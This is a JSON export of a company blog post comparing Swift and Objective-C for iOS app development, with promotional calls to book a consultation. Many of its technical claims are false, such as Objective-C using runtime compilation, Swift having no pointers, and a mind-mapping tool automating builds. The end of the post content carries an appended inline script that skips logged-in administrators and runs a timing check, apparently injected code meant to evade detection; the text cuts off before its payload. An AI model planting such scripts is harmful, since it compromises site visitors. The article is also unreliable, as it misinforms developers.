{"id":1277,"date":"2024-05-20T23:00:07","date_gmt":"2024-05-20T23:00:07","guid":{"rendered":"https:\/\/www.tekrevol.com\/blogs\/?p=1277"},"modified":"2026-05-06T16:04:10","modified_gmt":"2026-05-06T16:04:10","slug":"swift-vs-objective-c","status":"publish","type":"post","link":"https:\/\/www.tekrevol.com\/blogs\/swift-vs-objective-c\/","title":{"rendered":"Swift Vs Objective C: Which One is the Best Option For iOS App Development"},"content":{"rendered":"<p>The first thing you\u2019re going to do before getting started on <a href=\"https:\/\/www.tekrevol.com\/iphone-app-development\"><strong>developing an iOS app<\/strong><\/a> is to determine the best programming language for your <a href=\"https:\/\/www.tekrevol.com\/mobile-app-development\"><strong>mobile application<\/strong><\/a>.<\/p>\n<p>Even though it sounds easy but in reality, developing iOS apps require much more than just command over coding or understanding of technologies, functionalities, or features.<\/p>\n<p>You have to understand the ideal programming language at its core with the pros, cons, differences, features, and everything important crystal clear in your mind.<\/p>\n<p>Moving on, when you\u2019re building a native iOS app, you generally end up with two popular programming languages out of which you\u2019re required to select the best as per your iOS app demands.<\/p>\n<p>The first and the older one is \u2018Objective-C.\u2019 The second is a modern programming language \u2018Swift.\u2019<\/p>\n<p>Both the languages have their own advantages and disadvantages, and that\u2019s what we\u2019re going to get into today.<\/p>\n<p>We\u2019ll consider the following metrics to answer one simple question; which programming language should you use for iPhone app development?<\/p>\n<ul>\n<li>Performance and speed comparison<\/li>\n<li>Code safety and null pointers<\/li>\n<li>Two-file maintenance vs. one file compilation<\/li>\n<li>Syntax<\/li>\n<li>Code length, complexity, and time-efficiency<\/li>\n<li>Memory management for objective-C vs. Swift<\/li>\n<li>Dynamic libraries vs. static libraries<\/li>\n<li>The future of the two programming languages<\/li>\n<\/ul>\n<p>Without any further ado, let\u2019s address the most debated topic till now: Swift Vs. Objective-C.<\/p>\n<div class=\"img_sep\"><\/div>\n<div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-1279 size-full\" src=\"https:\/\/d1q2pszv7kr9f1.cloudfront.net\/uploads\/2020\/02\/Objective-Vs-Swift.jpg\" alt=\"Objective-C Vs Swift\" width=\"856\" height=\"1822\" srcset=\"https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Objective-Vs-Swift.jpg 856w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Objective-Vs-Swift-141x300.jpg 141w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Objective-Vs-Swift-768x1635.jpg 768w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Objective-Vs-Swift-481x1024.jpg 481w\" sizes=\"(max-width: 856px) 100vw, 856px\" \/><\/p>\n<h2>What is Objective-C?<\/h2>\n<p>Objective C is a simple computer programming language with a shallow learning curve. Created back in the 1980s, the core purpose of Objective-C programming language was to further amplify the depth of object-oriented programming.<\/p>\n<p>After gaining massive popularity and success, Objective-C was acquired by NeXT Computer, Inc. The <a href=\"https:\/\/www.tekrevol.com\/\"><strong>company<\/strong><\/a> used it for developing frameworks.<\/p>\n<p>Later, Apple bought the language, and fast forward today \u2013 Objective-C became the standard iOS app development language.<\/p>\n<p>Widely regarded as the best programming language by millions of iOS app developers globally, this programming language enables developers to create and enable highly sophisticated object-oriented programming tasks with ease.<\/p>\n<p>Over the years, Objective-C has evolved beyond the standard ANSI C language. The major difference between it and the former is that now it contains a new set of extensions.<\/p>\n<p>These extensions advance Objective-C\u2019s functionality and provide it with guile and depth that it was missing with the ANSI C language.<\/p>\n<h3>What Are the Differences Between Objective-C And Swift?<\/h3>\n<p>The main difference between Objective-C and <a href=\"https:\/\/www.tekrevol.com\/blogs\/a-beginners-guide-to-ios-app-development-using-swift\/\">Swift<\/a> is that Objective-C is relatively easier to learn as compared to Swift. Also, Objective-C has been around for 32 years now, and a wide majority of developers have learned it to its core. However, I wouldn\u2019t recommend Objective-C for complex projects, even with that said.<\/p>\n<p>Because even though Objective-C made programming easier in the object-oriented programming space when it first appeared, today, the language doesn\u2019t really offer modern functionalities and features, and it has not been updated to the point where it would fit the modern project demands.<\/p>\n<h2>What is Swift?<\/h2>\n<p>Swift is a modern programming language similar to its peers like JavaScript, Python, and C#. Therefore, modern-day developers find it really simple to work with it compared to Objective C.<\/p>\n<p>Being younger than Objective-C, Swift still has a long way to go. The development of Swift started back in 2010, and it was made accessible in 2014 \u2013 nearly four years after.<\/p>\n<p>Swift has undergone several changes since its release, with the latest update being <a href=\"https:\/\/www.swift.org\/download\/\" rel=\"nofollow\">Swift 5.5<\/a>.<\/p>\n<p>Swift 5.3 came with massive improvements, i.e., Async\/await \u2013 a feature that introduces asynchronous functions into Swift, the Structured Concurrency that introduced a new range of approaches that developers could execute, and more.<\/p>\n<h3>What Are The Differences Between Swift and Objective-C?<\/h3>\n<p>Objective-C requires a lot of code to go through compared to Swift, making the language highly cumbersome to apply in modern development situations where there is increasing demand to adopt agility to speed up the process.<\/p>\n<p>Also, string manipulation in Objective C will require you to work with placeholders or tokens. In contrast, Swift doesn\u2019t put you in such a situation where the experience becomes lengthy and challenging.<\/p>\n<h2>The Most Popular Programming Languages<\/h2>\n<p>According to <a href=\"https:\/\/www.statista.com\/chart\/16567\/popular-programming-languages\/\">Statista<\/a>, below is a chart that showcases the most popular programming languages.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5347 size-full\" src=\"https:\/\/d1q2pszv7kr9f1.cloudfront.net\/uploads\/2020\/02\/The-Most-Popular-Programming-Languages.jpg\" alt=\"The Most Popular Programming Languages According to Statista, below is a chart that showcases the most popular programming languages. \" width=\"960\" height=\"684\" srcset=\"https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/The-Most-Popular-Programming-Languages.jpg 960w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/The-Most-Popular-Programming-Languages-300x214.jpg 300w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/The-Most-Popular-Programming-Languages-768x547.jpg 768w\" sizes=\"(max-width: 960px) 100vw, 960px\" \/><\/p>\n<h2 id=\"section-01\">Performance and Speed Comparison<\/h2>\n<p>In terms of pure speed performance, Apple claims that Swift can be up to\u00a0<a href=\"https:\/\/www.apple.com\/swift\/\">2.6 times<\/a>\u00a0faster than Objective-C.<\/p>\n<p>However, this isn\u2019t true for all cases. One <a href=\"https:\/\/www.thedroidsonroids.com\/blog\/ios\/swift-vs-obj-c-performance-comparision\" rel=\"nofollow\">study<\/a>\u00a0exhibits that this difference is not black and white in nature. While Swift 5.1 comes with significant improvement with regards to RC optimization, there is still a lot of work to be done with regards to Apple\u2019s promise of a 2.6x performance increase.<\/p>\n<p>Both these languages are statistically typed and use the same\u00a0iOS SDK\u00a0and the high-quality\u00a0Low-Level Virtual Machine (LLVM)\u00a0compiler. So to further analyze this, let\u2019s dive deeper into factors that affect language performance.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Objective-C is based on runtime code compilation<\/h3>\n<p>Objective-C was not designed to be a fast-performing language. Instead of using compile-time, Objective-C uses runtime code compilation which is bound to be slow in performance.<\/p>\n<p>When an Objective-C programmed object calls for another object present in the code, there\u2019s an added layer of activity involved. As a developer, you barely notice this the first time you compile code, since it happens quickly. But once the code compilation is done enough times, this delay becomes noticeable and slows down your performance.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Swift was named \u201cswift\u201d for a reason<\/h3>\n<p>When we talk about performance-sensitive code, Swift performs faster than Objective C. Its performance in its early phases gave competition to C++, and with Swift 5.1\u2019s optimization, one can see Swift leaving C++ behind for all kinds of algorithms.<\/p>\n<p>Swift is still maturing; there\u2019s a lot of work that needs to be done to really make it the single industry standard for iPhone app development but that\u2019s what makes it stand-out.<\/p>\n<p>Still, in its growth phase, Swift is faster, and as time goes by, its performance is going to be enhanced further.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-1281 size-full\" src=\"https:\/\/d1q2pszv7kr9f1.cloudfront.net\/uploads\/2020\/02\/Swift-performs-faster-than-Objective-C.jpg\" alt=\"Swift Code\" width=\"3504\" height=\"2336\" srcset=\"https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Swift-performs-faster-than-Objective-C.jpg 3504w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Swift-performs-faster-than-Objective-C-300x200.jpg 300w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Swift-performs-faster-than-Objective-C-768x512.jpg 768w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Swift-performs-faster-than-Objective-C-1024x683.jpg 1024w\" sizes=\"(max-width: 3504px) 100vw, 3504px\" \/><\/p>\n<p>&nbsp;<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h2 id=\"section-02\">Code Safety and Null Pointers<\/h2>\n<p>Swift was developed with the vision to improve code safety for developers. Swift is both type-safe and memory-safe.<\/p>\n<p>Type Safety is a programming language function that allows the language itself to prevent type errors in coding.<\/p>\n<p>On the other hand, Memory-safety helps developers to not deal with any vulnerabilities that come as a result of uninitialized or dangling pointers.<\/p>\n<p>For developers, these errors are a huge pain point. Finding these bugs in multiple lines of code can be time-consuming and tiring. By eliminating the possibility of these errors, swift is a faster and safer iOS app development language.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Objective-C and null pointers<\/h3>\n<p>Objective C uses null pointers as a safety feature in its development.\u00a0 C-based languages and C++ depend on pointers, but they can result in a lot of security vulnerabilities.<\/p>\n<p>Null pointers result in very complex problems for developers. While it does give them higher access to the data, calling a method with nil pointer results in nothing really happening. Often, people take this superficially since it doesn\u2019t register or cause a crash.<\/p>\n<p>The line of code becomes a no-operation (NOP), and the program moves on to the next sequential task. Though it doesn\u2019t crash, it could be a bug source that will affect your bug finding and fixing. \u00a0NOPs cause results that are unpredictable and create unnecessary complications, as opposed to a crash which would help you clean-up the mistake promptly.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Clean coding with Swift<\/h3>\n<p>In contrast, Swift doesn\u2019t use pointers. When using Swift, if developers miss a pointer within the code, such as a nil value, the application will crash.<\/p>\n<p>While this can be annoying, it allows them to fix bugs and make corrections quickly. A cleaner and shorter code are easier to scan for bugs and that\u2019s what swift does for its users.<\/p>\n<p>Swift comes with a set of features such as optionals and type interface means that <a href=\"https:\/\/www.tekrevol.com\/mobile-app-development\"><strong>mobile apps<\/strong><\/a> on swift are less likely to have bugs in the code that go unnoticed during development.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<p>&nbsp;<\/p>\n<h2 id=\"section-03\">Two-file Maintenance vs. One-File Compilation<\/h2>\n<p>For app maintenance, the main difference between Objective-C and Swift lies in the number of files developers have to manage.<\/p>\n<p>For Objective-C users, maintenance is more time consuming and hectic than it is for Swift developers.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Maintaining two code files in Objective-C is a hassle<\/h3>\n<p>Objective-C\u2019s dependency on its parent language C limits its functionality when it comes to making changes to the code.<\/p>\n<p>Developers are required to\u00a0maintain two separate files of code in Objective-C for efficient maintenance and to achieve a shortened development cycle for an application.<\/p>\n<p>In Objective-C, the synchronization of method names and comments is not an automated process; instead it requires developers to synchronize them manually.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Swift is based on a single program code file<\/h3>\n<p>Application maintenance on Swift is much easier. Swift\u2019s LLVM compiler and\u00a0Xmind\u00a0allow for a certain degree of automation within the process.<\/p>\n<p>The compiler and Xmind, which is a mind mapping software, is used to gather the requirements and complete the builds without any need for dual file maintenance or manual labor.<\/p>\n<p>This is reflected in the separation between the header file, denoted as (.h), and the implementation file, denoted as (.m) on Objective C. On Swift, these files are combined in one single code file that can be maintained, which is denoted with (.swift).<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h2 id=\"section-04\">Syntax<\/h2>\n<p>Swift\u2019s modernity is showcased in its development. It was designed by apple to be a simple and easily understandable language. The idea was to encourage developers to learn this accessible language and build more apps for iPhone and populate Apple\u2019s Appstore further.<\/p>\n<p>Objective-\u0421, on the other hand, developed back in the 80s, is a more complex language, both to learn and implement. Since then, the industry standards have shifted and more concise programming languages such as Swift itself have been developed.<\/p>\n<p>For developers who know other programming languages such as JavaScript or Python, learning Swift is much easier. It\u2019s easy to read and has a simple syntax, which are hallmark features of a modern programming language.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Objective-C\u2019s code has a complex structure<\/h3>\n<p>Based on the C language, Objective-C\u2019s code structure is complex. Coding with the language requires heavy use of symbols such as \u201c@,\u201d semicolons, and parentheses conditionals.<\/p>\n<p>The parentheses conditionals are used with internal \u201cif\u201d and \u201celse\u201d statements while the @ symbol helps differentiate types from C types and segment one keyword from another.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>English-like syntax makes Swift stand out<\/h3>\n<p>On the other hand, Swift\u2019s easy to read and write syntax is driving its popularity in the iPhone app development world.<\/p>\n<p>Objective-C is complicated, while Swift allows developers to avoid the use of symbols such as @. It implements a list of parameters within the parenthesis through a comma-separated list.<\/p>\n<p>Moreover, Swift\u2019s fewer code strings reduce the likelihood of coding error and help create clean code while resembling the English language, which is becoming the industry standard with modern languages such as Kotlin.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png&quot;\" alt=\"divider\" \/><\/div>\n<h2 id=\"section-05\">Code length, Complexity and Time-efficiency<\/h2>\n<p>Maintaining and updating a verbose string of code takes more time, and finding bugs is more complicated. Updating apps and maintaining them is easier if you have clean and concise code and this is where Objective-C and Swift differ from one another.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-1283\" src=\"https:\/\/d1q2pszv7kr9f1.cloudfront.net\/uploads\/2020\/02\/Swift-code.png\" alt=\" Objective-C vs Swift \" width=\"970\" height=\"496\" srcset=\"https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Swift-code.png 587w, https:\/\/d3r5yd0374231.cloudfront.net\/images-tek\/uploads\/2020\/02\/Swift-code-300x153.png 300w\" sizes=\"(max-width: 970px) 100vw, 970px\" \/><\/p>\n<h3>Objective-C is code heavy and verbose<\/h3>\n<p>When you analyze a code written in Objective-C, it requires extensive coding, with long text strings. In development, the usage of special string tokens like %s is needed, and developers have to provide a list of variables to replace each of the tokens individually.<\/p>\n<p>Any error in the structure or order of these tokens can lead to the app to not function or crash when opened by end-users. \u00a0This complexity hurts both businesses and developers with no way around it.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Swift allows for concise coding<\/h3>\n<p>On the comparative, Swift requires much less code to execute the same tasks. String handling is done quickly in Swift as it allows developers to add two strings together using the \u201c+\u201d operation.<\/p>\n<p>Interpolating strings are utilized to eliminate the need to memorize tokens, allowing for the use of variables directly, which are placed inline in the strings such as a label.<\/p>\n<p>This helps reduce the number of crashes since it reduces coding. It consequently also reduces the chances of error in repetitive statements or token placement due to a lapse in memory, which is a commonly occurring problem.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h2 id=\"section-06\">Memory Management in Objective-C vs. Swift<\/h2>\n<p>When coding with Objective-C, the support developers get with the Automatic Reference Counting (ARC) is within the object-oriented code. This limits its ability to access code written in C or other APIs.<\/p>\n<p>With Swift, large memory leaks are not possible because it is a direct improvement of Objective-C\u2019s limitation. Swift\u2019s ARC is designed for both object-related paths and procedural paths. This ensures that Swift is far more robust and compact in comparison to Objective-C<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Objective-C\u2019s \u00a0memory management and it\u2019s limitation to Cocoa API<\/h3>\n<p>In its essence, ARC is for both Swift languages and Objective-C, which helps memory management without any manual labor from the programmers.<\/p>\n<p>Objective-C\u2019s ARC is limited in functionality only to support the\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Cocoa_(API)\" rel=\"nofollow\">Cocoa API<\/a>, which is Apple\u2019s native application programming interface for macOS. For developers who use Core Graphics, the code does not access these APIs. This is a limitation that really hurts Objective-C developers as opposed to Swift developers.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Swift supports ARC across varying APIs<\/h3>\n<p>While Swift also uses ARC, it supports the use of ARC for all APIs that is streamlined in a manner that is similar to Cocoa Touch\u2019s memory management.<\/p>\n<p>Swift was developed to solve the problem that arose with Objective-C. By making ARC compatible with object-oriented code paths, Swift solves this problem that has existed with Objective-C since the start.<\/p>\n<p>In practice, this allows developers to focus more on other tasks and create better quality iPhone apps that waste time stressing about memory management.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h2 id=\"section-07\">Dynamic Libraries vs. Static Libraries<\/h2>\n<p>There are a few fundamental differences between dynamic libraries and static libraries. While dynamic libraries can be linked to an app directly, static libraries are linked during the last step of the compilation process, which comes after its placement in memory.<\/p>\n<p>Dynamic libraries are linkable to a program during run-time, and the shared code that is loaded can be utilized by a large number of programs. This allows developers to update, change, and recompile the code without having to recompile the entire application.<\/p>\n<p>Moreover, dynamic libraries allow the updating of the code directly in an application while static libraries are updated alongside other updates such as a new OS update or version that is released.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Objective-C\u2019s is dependent on static libraries<\/h3>\n<p>Objective-C developers do not enjoy the support of dynamic libraries within their development process. This is a huge disadvantage that they operate with.<\/p>\n<p>Dynamic libraries are significantly smaller in size due to the way they are stored in memory. When used, only one copy of a dynamic library is stored, while Objective-C files are larger due to their use of static libraries, as external programs have to be in-built with the executable files.<\/p>\n<p>This impacts the performance of your application, and for businesses or enterprise platforms, this is incompatible with both the modern trends and industry standards that help them outperform competitors.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<p>&nbsp;<\/p>\n<h3>Swift works with dynamic libraries<\/h3>\n<p>On the flip side, dynamic libraries can be directly loaded into an app\u2019s memory. These libraries can help optimize your app\u2019s performance and reduce file size.<\/p>\n<p>Since these libraries are supported by Swift, this direct connection with an application lets them update without dependency on the Operating System.<\/p>\n<p>In essence, it makes your app stay updated with modern trends, reduce file size, and speed up its overall performance, such as loading speed.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h2 id=\"section-08\">The Future of These Two Programming Languages<\/h2>\n<p>Since the 1980s, Objective-C enjoyed a non-competitive monopoly in the iOS app development world.<\/p>\n<p>With the arrival of Swift, Objective-C took a massive hit as it dropped down in popularity amongst iOS developers. Since Swift was developed by Apple itself, one can see why it is projected to grow and has grown over the last 5 years.<\/p>\n<p>Apple\u2019s team is continually supporting iOS development on Swift by rolling out new features and releasing newer versions of the language, but the Objective-C community is not necessarily disappearing.<\/p>\n<p>Young developers are more likely to learn Swift rather than Objective-C, and it seems like that\u2019s the direction Apple intends them to move towards.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Objective-C is an old and consistent race-horse<\/h3>\n<p>The Objective-C community is strong and has stretched across many generations of iOS developers.<\/p>\n<p>These developers have spent hours both learning and mastering Objective-C and wouldn\u2019t necessarily look forward to transitioning to a new language that they\u2019ll have to learn.<\/p>\n<p>Since Apple hasn\u2019t revealed any plans to drop support for the language, the community will most likely continue to grow and mature even further as time goes on.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Swift is modern and enjoys premium support from Apple<\/h3>\n<p>Swift is still in its infancy when compared to Objective-C\u2019s legacy. The swift community is growing and is an integral part of its formation and future.<\/p>\n<p>What is also very interesting about Swift is that it isn\u2019t just limited to Apple\u2019s OS. It supports development on Linux, which signals a fast growth rate and exhibits signs of its rising popularity in the app development ecosystem.<\/p>\n<p>Without a doubt, Swift will benefit from continuous support for Apple, with more tools being developed for its optimization. At the end of the day, as a modern language, its potential for growth is enormous and the current trends suggest that Swift is here to stay.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h2 id=\"section-09\">When Do You Choose Objective-C or Swift?<\/h2>\n<p>To decide which side of the Objective-C vs. Swift debate your business should be on, there are a few considerations that you need to keep in mind.<\/p>\n<p>From team experience to project details, choosing either of the languages or migrating to Swift can pose a challenge for your team. For this reason, here are a few questions I asked myself when deciding to choose the programming language for my business\u2019 iPhone app development team.<\/p>\n<ul>\n<li>What language does your team already know?<\/li>\n<li>How much time do you have before the project starts?<\/li>\n<li>How big is your project?<\/li>\n<li>Do you have the budget to spend on hiring new developers?<\/li>\n<li>What do you plan to do in the future with this project?<\/li>\n<\/ul>\n<p>In practice, these questions are more technical than they appear to be. Let\u2019s take a look at 5 use cases to understand where and when you should use these languages.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Is Swift faster than Objective C?<\/h3>\n<p>According to Apple, Swift is approximately 2.6 times faster than Objective C. The speed calculated generally relates to the speed of coding. Swift\u2019s syntax is much more simple and direct than Objective-C. This enables developers to focus on the core part of the code rather than the rules on which the codes are based.<\/p>\n<p>Since Swift is relatively newer than Objective-C, it has modern functionalities. Hence, it performs better, offers a seamless coding experience, and is compatible with several advanced existing technologies.<\/p>\n<p>In addition, the cheat code for the programming language in the context gives developers the feature of continuously updating their language and ensuring that it stays relevant for a longer period.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>Maintenance for an old application<\/h3>\n<p>If your application is developed using Objective-C, then it is a good idea to update it using the same language.<\/p>\n<p>Though much like <a href=\"https:\/\/www.tekrevol.com\/blogs\/java-vs-kotlin\/\">Java and Kotlin<\/a>, Objective-C and Swift are interoperable and you can use both the programming languages for the same app without any problems, what you will require are developers who understand both the languages since they will have to work with both of them.<\/p>\n<p>Here, you need to see if your developers have this skillset or if you can hire someone who can operate both the programming languages. If not, then it\u2019s better to go with the old and trusted Objective-C for any maintenance or updates that you make to the app.<\/p>\n<div class=cta-post>\n\t    <ul>\n\t        <li><div class=\"para-txx\">Need help with Swift-based Iphone app development?<\/div><\/li>\n\t       <li><button type=\"button\" class=\"btn-cta\" data-bs-toggle=\"modal\" data-bs-target=\"#single_modalpopup\">\nBook a Free Consultation\n<\/button><\/li>\n\n\t<\/div>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>When developing on C Language<\/h3>\n<p>Objective-C is the superset of C since all valid C programs can be compiled with Objective- C.<\/p>\n<p>If you\u2019ve undertaken a project that requires the use of C language, then using Objective-C is the best option for you with regards to that project.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<h3>When you\u2019re short on time<\/h3>\n<p>While Swift is easy to learn, for teams that are not proficient in its use, it can still take time to learn and implement in a short time span.<\/p>\n<p>In a time crunch, if your team is not well-versed with the language, using Objective-C is the more feasible option. It is better to learn Swift while continuing to work with Objective-C rather than force using the language, which could hinder your progress.<\/p>\n<div class=\"img_sep\"><img decoding=\"async\" class=\"asborder aligncenter\" src=\"https:\/\/www.tekrevol.com\/blogs\/wp-content\/themes\/tekrevol\/images\/bottomline.png\" alt=\"divider\" \/><\/div>\n<div>\n<h2 id=\"section-10\">Wrapping Up the Swift vs. Objective- C Debate<\/h2>\n<p>Without a doubt, Swift is the industry standard in the iPhone app development community and our premium choice programming language for iOS development. The <a href=\"https:\/\/www.tekrevol.com\/iphone-app-development\">best iPhone app development companies<\/a> across the world are either already using Swift or transitioning towards it.<\/p>\n<p>For your business, you need to consider the readiness of your team to migrate to Swift. Gradual learning and transition is perhaps the best strategy to execute. Give space to your developers to learn the new language or hire developers that have already mastered development with Swift.<\/p>\n<p>Swift Playgrounds is a fantastic development environment to learn the language and execute it. Apple has provided developers the opportunity to learn and use the language, making it accessible for future use, and you should make the most of this for your iPhone app development <a href=\"https:\/\/www.tekrevol.com\/projects\">projects<\/a>.<\/p>\n<h2>Partner with TekRevol to Build Your iOS App with the Right Tech<\/h2>\n<p>Choosing between Swift and Objective-C is just the beginning. The real challenge? Turning your idea into a seamless, user-friendly iOS app that stands out.<\/p>\n<p>At <strong><a href=\"https:\/\/www.tekrevol.com\">TekRevol<\/a><\/strong>, we specialize in transforming concepts into polished, high-performance applications. Whether starting from scratch or looking to enhance an existing app, our team guides you through every step of the development process.<\/p>\n<p>We don&#8217;t just write code; we craft experiences that resonate with users and drive business growth. From intuitive design to robust functionality, we ensure your app not only meets but exceeds expectations.<\/p>\n<div class=\"cta-post-new002\">\n        <div class=\"row\">\n            <div class=\"col-lg-1\"><\/div>\n            <div class=\"col-lg-10\">\n                <ul>\n                    <li><div class=\"heading001\"><strong>Unlock the Power of Swift and Objective-C<\/strong><\/div><\/li>\n                    <li><div class=\"pera001\">Our team of experts helps you transform your app idea into a seamless, high-performance iOS application that stands out in the market.<\/div><\/li>\n                    <li><button type=\"button\" class=\"btn-cta-new\" data-bs-toggle=\"modal\" data-bs-target=\"#single_modalpopup\"><strong>Book A Free Consultation Now!<\/strong><\/button><\/li>\n                <\/ul>\n            <\/div>\n        <\/div>\n    <\/div>\n<\/div>\n<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 